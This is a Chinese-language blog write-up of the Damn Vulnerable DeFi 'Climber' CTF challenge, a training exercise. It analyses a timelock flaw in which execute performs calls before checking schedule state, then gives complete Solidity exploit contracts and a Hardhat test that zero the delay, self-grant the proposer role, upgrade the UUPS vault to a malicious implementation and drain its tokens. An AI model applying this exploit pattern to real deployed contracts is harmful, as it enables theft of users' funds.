Defi安全挑战系列-Damn Vulnerable DeFi(#12 Climber)
June 30th, 2023

有一个安全保险库合约,保管着1000万个DVT代币。该保险库是可升级的,遵循UUPS模式。

保险库的所有者目前是一个时间锁合约,每15天可以提取一小部分代币。

在保险库中还有一个额外的角色,在紧急情况下可以清空所有代币。

在时间锁合约上,只有具有“提案者”角色的帐户才能安排一小时后执行的操作。

要通过这个挑战,从保险库中取走所有代币。

分析合约

这次挑战很有意思,解题有点绕。

我们的目的是调用ClimberVault.sol中sweepFunds方法获取所有币,但是这样个方法被onlySweeper限制了,_sweeper在构造函数中就被设置了,好像没戏了。但是合约使用的是UUPS代理模式,如果能获取合约管理权限,重新部署合约,再去掉onlySweeper限制,就可以达到目的了。如何获得合约管理权限呢?构造函数中transferOwnership(address(new ClimberTimelock(admin, proposer))); 意思合约管理权限给了ClimberTimelock 合约,好,问题转移,想办法让ClimberTimelock 的升级ClimberVault.sol。

观察ClimberTimelock.sol合约中execute方法中的functionCallWithValue执行逻辑居然早于if (getOperationState(id) != OperationState.ReadyForExecution) { revert NotReadyForExecution(id); } ,可以在functionCallWithValue执行逻辑中执行注册operations相关逻辑,就可以通过上面断言。

schedule方法被onlyRole(PROPOSER_ROLE)修饰器限制,无法直接调用。但是构造函数中已经给当前合约赋值了ADMIN_ROLE角色管理员,PROPOSER_ROLE组的管理员也是ADMIN_ROLE,所以可以通过AccessControl合约中的grantRole(bytes32,address)设置当前合约加入PROPOSER_ROLE组,这样就可以通过onlyRole(PROPOSER_ROLE)修饰器限制。

执行execute还有个限制,注册operations需要加delay才可以执行,updateDelay方法中限制了当前合约才可以修改,所以可以在注册operations逻辑中修改delay时间等于0。

最后再调用ClimberVault.sol中的upgradeTo(address)升级新的合约地址,新的合约内容很简单,就是转账给攻击者逻辑。

解决方案

创建AttackClimber.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {ClimberTimelock} from "./ClimberTimelock.sol";
import {ClimberVault} from "./ClimberVault.sol";
import {ADMIN_ROLE, PROPOSER_ROLE, MAX_TARGETS, MIN_TARGETS, MAX_DELAY} from "./ClimberConstants.sol";
import {FakeClimberVault} from "./FakeClimberVault.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "hardhat/console.sol";

contract AttackClimber {
    ClimberTimelock public climberTimelock;
    ClimberVault public climberVault;
    address token;

    address[] myArray;
    bytes[] myBytes;
    uint256[] myValue = [0, 0, 0, 0];

    constructor(
        address payable climberTimelockAddrss,
        address payable climberVaultAddress,
        address tokenAddress
    ) {
        climberTimelock = ClimberTimelock(climberTimelockAddrss);
        climberVault = ClimberVault(climberVaultAddress);
        token = tokenAddress;
    }

    function Attack() public {
        FakeClimberVault fackVault = new FakeClimberVault();

        address delayDataAddress = address(climberTimelock);
        myArray.push(delayDataAddress);

        bytes memory updateDelayData = abi.encodeWithSelector(
            bytes4(keccak256(bytes("updateDelay(uint64)"))),
            0
        );
        myBytes.push(updateDelayData);

        address grantRoleRoleAddress = address(climberTimelock);
        myArray.push(grantRoleRoleAddress);

        bytes memory grantRoleData = abi.encodeWithSelector(
            bytes4(keccak256(bytes("grantRole(bytes32,address)"))),
            PROPOSER_ROLE,
            address(this)
        );
        myBytes.push(grantRoleData);

        address upgradeToAddress = address(climberVault);
        myArray.push(upgradeToAddress);

        bytes memory upgradeToData = abi.encodeWithSelector(
            bytes4(keccak256(bytes("upgradeTo(address)"))),
            address(fackVault)
        );
        myBytes.push(upgradeToData);

        address scheduleAddress = address(this);
        myArray.push(scheduleAddress);

        bytes memory scheduleData = abi.encodeWithSelector(
            bytes4(keccak256("schedule()"))
        );
        myBytes.push(scheduleData);

        climberTimelock.execute(myArray, myValue, myBytes, "");

        climberVault.sweepFunds(token);
        SafeTransferLib.safeTransfer(
            token,
            msg.sender,
            IERC20(token).balanceOf(address(this))
        );
    }

    function schedule() public {
        climberTimelock.schedule(myArray, myValue, myBytes, "");
    }
}

创建FakeClimberVault.sol (只有转账逻辑)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "solady/src/utils/SafeTransferLib.sol";

import "./ClimberTimelock.sol";
import {CallerNotSweeper, InvalidWithdrawalAmount, InvalidWithdrawalTime} from "./ClimberErrors.sol";

/**
 * @title ClimberVault
 * @dev To be deployed behind a proxy following the UUPS pattern. Upgrades are to be triggered by the owner.
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract FakeClimberVault is UUPSUpgradeable {
    /// @custom:oz-upgrades-unsafe-allow constructor
    constructor() {}

    // Allows trusted sweeper account to retrieve any tokens
    function sweepFunds(address token) external {
        SafeTransferLib.safeTransfer(
            token,
            msg.sender,
            IERC20(token).balanceOf(address(this))
        );
    }

    // By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade
    function _authorizeUpgrade(address newImplementation) internal override {}
}

climber.challenge.js

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        const attackFactory = await ethers.getContractFactory('AttackClimber');
        const attackContract = await attackFactory.deploy(timelock.address, vault.address, token.address);
        await attackContract.connect(player).Attack();

    });
Subscribe to skye
Receive the latest updates directly to your inbox.
Mint this entry as an NFT to add it to your collection.
Verification
This entry has been permanently stored onchain and signed by its creator.
More from skye

Skeleton

Skeleton

Skeleton